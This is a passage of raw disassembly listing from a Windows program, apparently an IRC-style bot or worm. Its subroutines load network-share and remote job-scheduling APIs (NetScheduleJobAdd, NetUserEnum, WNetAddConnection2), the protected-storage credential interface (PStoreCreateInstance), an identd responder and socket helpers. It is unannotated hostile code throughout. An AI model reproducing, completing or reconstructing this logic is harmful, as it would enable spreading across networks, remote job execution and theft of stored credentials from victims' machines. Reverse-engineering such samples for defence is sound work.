[edi+0Ch] jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ACC: ; CODE XREF: sub_402A12+B3j push 6 pop eax loc_402ACF: ; CODE XREF: sub_402A12+B8j mov [esi+0Ch], eax lea ecx, [ebp+var_18] lea eax, [esi+20h] push ebx push ecx mov [esi+10h], ebx mov [esi+18h], eax and [ebp+var_14], 0 push eax call sub_4114D0 ; memcpy mov eax, [ebp+arg_C] add esp, 0Ch mov [eax], esi jmp loc_402C08 ; --------------------------------------------------------------------------- loc_402AF7: ; CODE XREF: sub_402A12+48j push [ebp+arg_0] call dword_41224C ; gethostbyname cmp eax, ebx mov [ebp+var_8], eax jz short loc_402B20 mov eax, [eax+0Ch] xor edi, edi mov [ebp+arg_0], edi loc_402B0F: ; CODE XREF: sub_402A12+105j cmp [eax], ebx jz short loc_402B19 inc edi add eax, 4 jmp short loc_402B0F ; --------------------------------------------------------------------------- loc_402B19: ; CODE XREF: sub_402A12+FFj cmp edi, ebx mov [ebp+arg_0], edi jnz short loc_402B2A loc_402B20: ; CODE XREF: sub_402A12+F3j mov eax, 2AFBh jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B2A: ; CODE XREF: sub_402A12+10Cj lea esi, [edi+edi*2] shl esi, 4 push esi call sub_4114C4 ; malloc cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_402B4E loc_402B3E: ; CODE XREF: sub_402A12+5Aj push 8 call dword_412244 ; WSASetLastError push 8 pop eax jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_402A12+12Aj push esi push ebx push eax call sub_4114E8 ; memset push 10h lea eax, [ebp+var_28] push ebx push eax call sub_4114E8 ; memset add esp, 18h cmp [ebp+arg_4], ebx mov [ebp+var_28], 2 jz short loc_402B84 push [ebp+arg_4] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [ebp+var_26], ax loc_402B84: ; CODE XREF: sub_402A12+15Cj test edi, edi jbe short loc_402C00 mov eax, [ebp+var_4] lea esi, [eax+8] loc_402B8E: ; CODE XREF: sub_402A12+1ECj mov eax, [ebp+arg_8] test eax, eax jz short loc_402B99 mov eax, [eax] jmp short loc_402B9C ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_402A12+181j push 4 pop eax loc_402B9C: ; CODE XREF: sub_402A12+185j mov ecx, [ebp+arg_8] lea edi, [esi-8] test ecx, ecx mov [edi], eax mov dword ptr [esi-4], 2 jz short loc_402BB4 mov eax, [ecx+8] jmp short loc_402BB7 ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402A12+19Bj push 1 pop eax loc_402BB7: ; CODE XREF: sub_402A12+1A0j test ecx, ecx mov [esi], eax jz short loc_402BC2 mov eax, [ecx+0Ch] jmp short loc_402BC5 ; --------------------------------------------------------------------------- loc_402BC2: ; CODE XREF: sub_402A12+1A9j push 6 pop eax loc_402BC5: ; CODE XREF: sub_402A12+1AEj mov edx, [ebp+var_8] push 10h mov [esi+4], eax pop ecx lea eax, [esi+18h] mov [esi+8], ecx mov [esi+10h], eax mov edx, [edx+0Ch] push ecx lea ecx, [ebp+var_28] mov edx, [edx+ebx*4] push ecx push eax mov edx, [edx] mov [ebp+var_24], edx call sub_4114D0 ; memcpy add esp, 0Ch test ebx, ebx jz short loc_402BF7 mov [esi-1Ch], edi loc_402BF7: ; CODE XREF: sub_402A12+1E0j inc ebx add esi, 30h cmp ebx, [ebp+arg_0] jb short loc_402B8E loc_402C00: ; CODE XREF: sub_402A12+174j mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov [eax], ecx loc_402C08: ; CODE XREF: sub_402A12+E0j xor eax, eax loc_402C0A: ; CODE XREF: sub_402A12+40j ; sub_402A12+113j ... pop edi pop esi pop ebx leave retn 10h sub_402A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C11 proc near ; DATA XREF: sub_402D7B+13Bo var_424 = byte ptr -424h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 424h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi jnz short loc_402C29 cmp [ebp+arg_10], edi jz short loc_402C34 loc_402C29: ; CODE XREF: sub_402C11+11j mov ebx, [ebp+arg_18] test ebx, 0FFFFFFE0h jz short loc_402C3E loc_402C34: ; CODE XREF: sub_402C11+16j mov esi, 2726h jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C3E: ; CODE XREF: sub_402C11+21j mov esi, [ebp+arg_0] cmp word ptr [esi], 2 jz short loc_402C51 mov esi, 273Fh jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C51: ; CODE XREF: sub_402C11+34j cmp [ebp+arg_8], edi jz loc_402CF4 push dword ptr [esi+4] add esi, 4 call dword_412230 ; inet_ntoa cmp eax, edi jnz short loc_402C72 or eax, 0FFFFFFFFh jmp loc_402D60 ; --------------------------------------------------------------------------- loc_402C72: ; CODE XREF: sub_402C11+57j mov edi, 401h push edi push eax lea eax, [ebp+var_424] push eax call sub_4059C2 add esp, 0Ch test bl, 2 jnz short loc_402CE1 test bl, 4 jz short loc_402CC5 loc_402C92: ; CODE XREF: sub_402C11+C0j ; sub_402C11+C6j push 0 push 4 push esi call dword_412234 ; gethostbyaddr mov esi, eax test esi, esi jz short loc_402CD9 push dword ptr [esi] call sub_4114BE ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 push edi lea eax, [ebp+var_424] push dword ptr [esi] push eax call sub_4059C2 add esp, 0Ch jmp short loc_402CF4 ; --------------------------------------------------------------------------- loc_402CC5: ; CODE XREF: sub_402C11+7Fj test bl, 1 jz short loc_402CE1 mov eax, [esi] cmp eax, 7F000001h jz short loc_402C92 test eax, eax jnz short loc_402CE1 jmp short loc_402C92 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_402C11+90j call dword_412238 ; WSAGetLastError jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402CE1: ; CODE XREF: sub_402C11+7Aj ; sub_402C11+B7j ... lea eax, [ebp+var_424] push eax call sub_4114BE ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 loc_402CF4: ; CODE XREF: sub_402C11+43j ; sub_402C11+B2j cmp [ebp+arg_10], 0 jz short loc_402D47 lea eax, [ebp+var_20] push 0Ah push eax mov eax, [ebp+arg_0] mov ax, [eax+2] push eax call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa lea eax, [ebp+var_20] push eax call sub_4114BE ; strlen add esp, 10h inc eax cmp eax, [ebp+arg_14] jbe short loc_402D39 loc_402D29: ; CODE XREF: sub_402C11+9Ej ; sub_402C11+E1j mov esi, 2747h loc_402D2E: ; CODE XREF: sub_402C11+28j ; sub_402C11+3Bj push esi call dword_412244 ; WSASetLastError mov eax, esi jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402D39: ; CODE XREF: sub_402C11+116j lea eax, [ebp+var_20] push eax push [ebp+arg_10] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_402D47: ; CODE XREF: sub_402C11+E7j cmp [ebp+arg_8], 0 jz short loc_402D5E lea eax, [ebp+var_424] push eax push [ebp+arg_8] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_402D5E: ; CODE XREF: sub_402C11+13Aj xor eax, eax loc_402D60: ; CODE XREF: sub_402C11+5Cj ; sub_402C11+CEj ... pop edi pop esi pop ebx leave retn 1Ch sub_402C11 endp ; =============== S U B R O U T I N E ======================================= sub_402D67 proc near ; DATA XREF: sub_402D7B+145o arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_402D78 push [esp+arg_0] call sub_4114CA ; free pop ecx locret_402D78: ; CODE XREF: sub_402D67+5j retn 4 sub_402D67 endp ; =============== S U B R O U T I N E ======================================= sub_402D7B proc near ; CODE XREF: sub_4111E8+B8p push esi push edi mov edi, dword_41205C push offset aKernel32_dll ; "kernel32.dll" call edi ; LoadLibraryA mov esi, dword_412060 test eax, eax jz short loc_402DA1 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call esi ; GetProcAddress mov dword_4191E0, eax loc_402DA1: ; CODE XREF: sub_402D7B+17j push ebx push offset aNetapi32_dll ; "netapi32.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E24 push offset aNetusegetinfo ; "NetUseGetInfo" push ebx call esi ; GetProcAddress push offset aNetuseadd ; "NetUseAdd" push ebx mov dword_4191E8, eax call esi ; GetProcAddress push offset aNetusedel ; "NetUseDel" push ebx mov dword_4191EC, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push ebx mov dword_4191F0, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push ebx mov dword_4191F4, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push ebx mov dword_4191F8, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push ebx mov dword_4191FC, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push ebx mov dword_419200, eax call esi ; GetProcAddress push offset aNetaddalternat ; "NetAddAlternateComputerName" push ebx mov dword_419204, eax call esi ; GetProcAddress mov dword_419208, eax loc_402E24: ; CODE XREF: sub_402D7B+32j push offset aMpr_dll ; "mpr.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E65 push offset aWnetaddconnect ; "WNetAddConnection2A" push ebx call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push ebx mov dword_41920C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push ebx mov dword_419210, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push ebx mov dword_419214, eax call esi ; GetProcAddress mov dword_419218, eax loc_402E65: ; CODE XREF: sub_402D7B+B4j push offset aWs2_32_dll ; "ws2_32.dll" call edi ; LoadLibraryA mov ebx, eax push offset aGetaddrinfo ; "getaddrinfo" push ebx call esi ; GetProcAddress push offset aGetnameinfo ; "getnameinfo" push ebx mov dword_419224, eax call esi ; GetProcAddress push offset aFreeaddrinfo ; "freeaddrinfo" push ebx mov dword_419228, eax call esi ; GetProcAddress cmp dword_419224, 0 mov dword_41922C, eax pop ebx jz short loc_402EAC cmp dword_419228, 0 jz short loc_402EAC test eax, eax jnz short loc_402ECA loc_402EAC: ; CODE XREF: sub_402D7B+122j ; sub_402D7B+12Bj mov dword_419224, offset sub_402A12 mov dword_419228, offset sub_402C11 mov dword_41922C, offset sub_402D67 loc_402ECA: ; CODE XREF: sub_402D7B+12Fj push offset aPstorec_dll ; "pstorec.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EE2 push offset aPstorecreatein ; "PStoreCreateInstance" push eax call esi ; GetProcAddress mov dword_419220, eax loc_402EE2: ; CODE XREF: sub_402D7B+158j push offset aWininet_dll ; "wininet.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EFA push offset aInternetgetcon ; "InternetGetConnectedStateExA" push eax call esi ; GetProcAddress mov dword_41921C, eax loc_402EFA: ; CODE XREF: sub_402D7B+170j pop edi pop esi retn sub_402D7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EFD proc near ; DATA XREF: sub_4030A7+65o var_121C = byte ptr -121Ch var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_212 = byte ptr -212h var_6C = byte ptr -6Ch var_48 = byte ptr -48h var_24 = byte ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 121Ch call sub_411540 push ebx push 1ADh push [ebp+arg_0] lea eax, [ebp+var_21C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_218] push 1 push eax call sub_403644 mov ebx, eax add esp, 18h test ebx, ebx jnz short loc_402F51 push [ebp+var_21C] call sub_406E6F pop ecx xor eax, eax jmp loc_4030A2 ; --------------------------------------------------------------------------- loc_402F51: ; CODE XREF: sub_402EFD+3Fj push esi lea eax, [ebp+var_218] push edi push eax mov eax, [ebp+var_21C] push dword ptr [eax] lea eax, [ebp+var_212] push offset dword_4139C0 push eax call sub_4096CB mov esi, 3E8h push esi push ebx call sub_403767 add esp, 18h loc_402F82: ; CODE XREF: sub_402EFD+189j mov edi, eax mov eax, [ebp+var_21C] cmp dword ptr [eax+4], 0 jnz loc_40308B test edi, edi jz loc_40308B cmp edi, 0FFFFFFFFh jz loc_40307D lea eax, [ebp+var_121C] push 1000h push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_403076 cmp eax, 0FFFFFFFFh jz loc_403076 lea eax, [ebp+var_121C] push eax call sub_4114BE ; strlen cmp eax, 10h pop ecx ja loc_403076 cmp byte_41A268, 0 jz short loc_402FFC lea eax, [ebp+var_24] push offset byte_41A268 push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_40301E ; --------------------------------------------------------------------------- loc_402FFC: ; CODE XREF: sub_402EFD+EBj lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_48] push eax call sub_404A70 lea eax, [ebp+var_24] push eax push offset byte_41A268 call sub_4114B8 ; _mbscpy add esp, 14h loc_40301E: ; CODE XREF: sub_402EFD+FDj lea eax, [ebp+var_121C] push offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_24] push eax lea eax, [ebp+var_121C] push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_121C] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_121C] push eax call sub_4114BE ; strlen inc eax push eax lea eax, [ebp+var_121C] push eax push edi call sub_403D9D push edi call sub_403D70 add esp, 2Ch jmp short loc_40307D ; --------------------------------------------------------------------------- loc_403076: ; CODE XREF: sub_402EFD+BFj ; sub_402EFD+C8j ... push edi call sub_403D70 pop ecx loc_40307D: ; CODE XREF: sub_402EFD+A2j ; sub_402EFD+177j push esi push ebx call sub_403767 pop ecx pop ecx jmp loc_402F82 ; --------------------------------------------------------------------------- loc_40308B: ; CODE XREF: sub_402EFD+91j ; sub_402EFD+99j push ebx call sub_40392A push [ebp+var_21C] call sub_406E6F pop ecx xor eax, eax pop ecx pop edi pop esi loc_4030A2: ; CODE XREF: sub_402EFD+4Fj pop ebx leave retn 4 sub_402EFD endp ; =============== S U B R O U T I N E ======================================= sub_4030A7 proc near ; CODE XREF: sub_407A76+92Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_4030BC push ebx call sub_4032A7 test eax, eax pop ecx jnz short loc_4030C1 loc_4030BC: ; CODE XREF: sub_4030A7+8j mov ebx, offset dword_413A14 loc_4030C1: ; CODE XREF: sub_4030A7+13j push 1ADh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40311A push edi push 6 lea eax, [esi+4] push ebx push eax call sub_4059C2 mov edi, [esp+18h+arg_0] lea eax, [esi+0Ah] push edi push eax call sub_40457C add esp, 14h test edi, edi jz short loc_403101 cmp byte ptr [edi+18Bh], 0 jz short loc_403101 xor eax, eax jmp short loc_403104 ; --------------------------------------------------------------------------- loc_403101: ; CODE XREF: sub_4030A7+4Bj ; sub_4030A7+54j push 1 pop eax loc_403104: ; CODE XREF: sub_4030A7+58j push ebx push offset dword_4139F4 push eax push esi push offset sub_402EFD call sub_406D58 add esp, 14h pop edi loc_40311A: ; CODE XREF: sub_4030A7+29j pop esi pop ebx retn sub_4030A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40311D proc near ; CODE XREF: sub_40C135+5Ep ; sub_40CAA1+133p var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi mov esi, 104h push [ebp+arg_0] lea eax, [ebp+var_104] push offset dword_413A2C push esi push eax call sub_41152E ; _snprintf add esp, 10h lea eax, [ebp+var_104] push esi push [ebp+arg_4] push 0FFFFFFFFh push eax push 0 push 0 call dword_412058 ; MultiByteToWideChar pop esi leave retn sub_40311D endp ; =============== S U B R O U T I N E ======================================= sub_40315E proc near ; CODE XREF: sub_403EA9+539p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor edx, edx cmp esi, 1 jbe short loc_403182 mov eax, [esp+4+arg_0] mov ecx, esi push edi shr ecx, 1 loc_403173: ; CODE XREF: sub_40315E+1Fj movzx edi, word ptr [eax] add edx, edi inc eax inc eax dec esi dec esi dec ecx jnz short loc_403173 pop edi jmp short loc_403186 ; --------------------------------------------------------------------------- loc_403182: ; CODE XREF: sub_40315E+Aj mov eax, [esp+4+arg_0] loc_403186: ; CODE XREF: sub_40315E+22j test esi, esi pop esi jz short loc_403190 movzx eax, byte ptr [eax] add edx, eax loc_403190: ; CODE XREF: sub_40315E+2Bj mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40315E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031A7 proc near ; CODE XREF: sub_403EA9+520p ; sub_407A76+F8Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx dec eax push esi dec eax push edi mov ebx, 0FEh jz short loc_4031F0 dec eax jz short loc_4031D4 dec eax jnz short loc_40320C push ebx push 1 call sub_40B459 mov edi, eax mov eax, [ebp+arg_0] pop ecx and al, 0 pop ecx or edi, eax jmp short loc_4031D7 ; --------------------------------------------------------------------------- loc_4031D4: ; CODE XREF: sub_4031A7+13j mov edi, [ebp+arg_0] loc_4031D7: ; CODE XREF: sub_4031A7+2Bj push ebx push 1 call sub_40B459 mov esi, eax pop ecx shl esi, 8 and edi, 0FFFF00FFh pop ecx or esi, edi jmp short loc_4031F3 ; --------------------------------------------------------------------------- loc_4031F0: ; CODE XREF: sub_4031A7+10j mov esi, [ebp+arg_0] loc_4031F3: ; CODE XREF: sub_4031A7+47j push ebx push 1 call sub_40B459 mov edi, eax pop ecx shl edi, 10h and esi, 0FF00FFFFh pop ecx or edi, esi jmp short loc_40320F ; --------------------------------------------------------------------------- loc_40320C: ; CODE XREF: sub_4031A7+16j mov edi, [ebp+arg_0] loc_40320F: ; CODE XREF: sub_4031A7+63j push ebx push 1 call sub_40B459 pop ecx and edi, 0FFFFFFh shl eax, 18h pop ecx or eax, edi pop edi pop esi pop ebx pop ebp retn sub_4031A7 endp ; =============== S U B R O U T I N E ======================================= sub_403229 proc near ; CODE XREF: sub_4032D2+Ap ; sub_40338B+13p arg_0 = dword ptr 4 push 0Ah push [esp+4+arg_0] push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch retn sub_403229 endp ; =============== S U B R O U T I N E ======================================= sub_40324A proc near ; CODE XREF: sub_409918+479p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 4 push offset dword_413A50 push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jnz short loc_403268 loc_403263: ; CODE XREF: sub_40324A+30j ; sub_40324A+44j push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_403268: ; CODE XREF: sub_40324A+17j push 4 push offset dword_413A48 push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_403263 push 8 push offset dword_413A3C push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_403263 push 3 push offset dword_413A38 push esi call sub_411570 ; strncmp add esp, 0Ch neg eax sbb eax, eax pop esi inc eax retn sub_40324A endp ; =============== S U B R O U T I N E ======================================= sub_4032A7 proc near ; CODE XREF: sub_402230+173p ; sub_4030A7+Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor eax, eax loc_4032AD: ; CODE XREF: sub_4032A7+10j cmp byte ptr [eax+ecx], 0 jz short loc_4032BC inc eax cmp eax, 6 jnz short loc_4032AD loc_4032B9: ; CODE XREF: sub_4032A7+1Ej ; sub_4032A7+25j xor eax, eax retn ; --------------------------------------------------------------------------- loc_4032BC: ; CODE XREF: sub_4032A7+Aj push ecx call sub_41151C ; atoi test eax, eax pop ecx jz short loc_4032B9 cmp eax, 0FFFFh ja short loc_4032B9 push 1 pop eax retn sub_4032A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032D2 proc near ; CODE XREF: sub_403338+9p ; sub_40656A:loc_406696p ... var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push esi push eax call sub_403229 lea eax, [ebp+var_8] push 1 push eax call sub_403644 mov esi, eax add esp, 0Ch test esi, esi jnz short loc_4032FA push 1 pop eax jmp short loc_403330 ; --------------------------------------------------------------------------- loc_4032FA: ; CODE XREF: sub_4032D2+21j push edi push 0BB8h lea eax, [ebp+var_8] push 0 push eax push offset dword_41A2E8 call sub_403C04 push esi mov edi, eax call sub_40392A add esp, 14h test edi, edi jz short loc_403333 cmp edi, 0FFFFFFFFh jz short loc_403333 push edi xor esi, esi call sub_403D92 pop ecx loc_40332D: ; CODE XREF: sub_4032D2+64j mov eax, esi pop edi loc_403330: ; CODE XREF: sub_4032D2+26j pop esi leave retn ; --------------------------------------------------------------------------- loc_403333: ; CODE XREF: sub_4032D2+4Bj ; sub_4032D2+50j push 1 pop esi jmp short loc_40332D sub_4032D2 endp ; =============== S U B R O U T I N E ======================================= sub_403338 proc near ; CODE XREF: sub_40DE4C+1p ; sub_40EE23+182p ... cmp dword_419634, 0 jnz short loc_403360 call sub_4032D2 push eax push offset dword_419638 call sub_407227 push 1 push offset dword_419634 call sub_407227 add esp, 10h loc_403360: ; CODE XREF: sub_403338+7j mov eax, dword_419638 retn sub_403338 endp ; =============== S U B R O U T I N E ======================================= sub_403366 proc near ; CODE XREF: sub_40338B+6p ; sub_403644+36p push esi push 0 push 1 push 17h call dword_41222C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403381 push esi call sub_403D92 pop ecx loc_403381: ; CODE XREF: sub_403366+12j xor eax, eax cmp esi, 0FFFFFFFFh setnz al pop esi retn sub_403366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40338B proc near ; CODE XREF: sub_405FF3:loc_40617Dp var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx push esi call sub_403366 test eax, eax jz short loc_4033B7 lea eax, [ebp+var_8] push eax call sub_403229 lea eax, [ebp+var_8] push 1 push eax call sub_403644 mov esi, eax add esp, 0Ch test esi, esi jnz short loc_4033BB loc_4033B7: ; CODE XREF: sub_40338B+Dj xor eax, eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033BB: ; CODE XREF: sub_40338B+2Aj push edi push 0BB8h lea eax, [ebp+var_8] push 2 push eax push offset dword_413A64 call sub_403C04 push esi mov edi, eax call sub_40392A add esp, 14h test edi, edi jz short loc_4033F5 cmp edi, 0FFFFFFFFh jz short loc_4033F5 push 1 pop esi push edi call sub_403D92 pop ecx loc_4033EF: ; CODE XREF: sub_40338B+6Cj mov eax, esi pop edi loc_4033F2: ; CODE XREF: sub_40338B+2Ej pop esi leave retn ; --------------------------------------------------------------------------- loc_4033F5: ; CODE XREF: sub_40338B+53j ; sub_40338B+58j xor esi, esi jmp short loc_4033EF sub_40338B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033F9 proc near ; CODE XREF: sub_40656A:loc_40667Dp ; sub_408E1A+196p ... var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 14h push esi lea eax, [ebp+var_14] push offset dword_413A18 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_14] push eax call sub_40B5E1 push 7D0h push 2 lea eax, [ebp+var_14] push offset a80 ; "80" push eax call sub_403C04 add esp, 1Ch test eax, eax jz short loc_403447 cmp eax, 0FFFFFFFFh jz short loc_403447 push 1 pop esi push eax call sub_403D92 pop ecx loc_403442: ; CODE XREF: sub_4033F9+50j mov eax, esi pop esi leave retn ; --------------------------------------------------------------------------- loc_403447: ; CODE XREF: sub_4033F9+38j ; sub_4033F9+3Dj xor esi, esi jmp short loc_403442 sub_4033F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40344B proc near ; CODE XREF: sub_403B44+7Dp ; sub_403C04+ABp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_4], eax setz al mov [ebp+arg_4], eax lea eax, [ebp+arg_4] push eax push 8004667Eh push [ebp+arg_0] call dword_412228 ; ioctlsocket pop ebp retn sub_40344B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40346D proc near ; CODE XREF: sub_40544F+1C5p ; sub_40544F+200p arg_0 = dword ptr 8 push ebp mov ebp, esp lea eax, [ebp+arg_0] push eax push 4004667Fh push [ebp+arg_0] call dword_412228 ; ioctlsocket xor eax, eax cmp [ebp+arg_0], eax setnz al pop ebp retn sub_40346D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40348C proc near ; CODE XREF: sub_409918+467p ; sub_40DE9A+54p var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4034B9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4034B9: ; CODE XREF: sub_40348C+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_419228 neg eax sbb eax, eax inc eax leave retn sub_40348C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034DE proc near ; CODE XREF: sub_40544F+B2p ; sub_40E6A0+24p ... var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_40350B xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40350B: ; CODE XREF: sub_4034DE+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_419228 neg eax sbb eax, eax inc eax leave retn sub_4034DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403530 proc near ; CODE XREF: sub_40ECD6+8Fp ; sub_410C55+182p var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_40355D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40355D: ; CODE XREF: sub_403530+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_403530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40357F proc near ; CODE XREF: sub_40F9C9+142p ; sub_410C55+14Ap var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4035AC xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4035AC: ; CODE XREF: sub_40357F+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_40357F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035CE proc near ; CODE XREF: sub_409918+516p var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h lea eax, [ebp+arg_0] push esi push eax push 0 push 0 push [ebp+arg_0] call dword_419224 test eax, eax jnz short loc_40363F mov esi, [ebp+arg_0] loc_4035F0: ; CODE XREF: sub_4035CE+51j test esi, esi jz short loc_403636 push 2 push 0 push 0 lea eax, [ebp+var_404] push 401h push eax push dword ptr [esi+10h] push dword ptr [esi+18h] call dword_419228 test eax, eax jnz short loc_40361C cmp dword ptr [esi+4], 2 jz short loc_403621 loc_40361C: ; CODE XREF: sub_4035CE+46j mov esi, [esi+1Ch] jmp short loc_4035F0 ; --------------------------------------------------------------------------- loc_403621: ; CODE XREF: sub_4035CE+4Cj lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_4114B8 ; _mbscpy pop ecx mov al, 1 pop ecx jmp short loc_403641 ; --------------------------------------------------------------------------- loc_403636: ; CODE XREF: sub_4035CE+24j push [ebp+arg_0] call dword_41922C loc_40363F: ; CODE XREF: sub_4035CE+1Dj xor al, al loc_403641: ; CODE XREF: sub_4035CE+66j pop esi leave retn 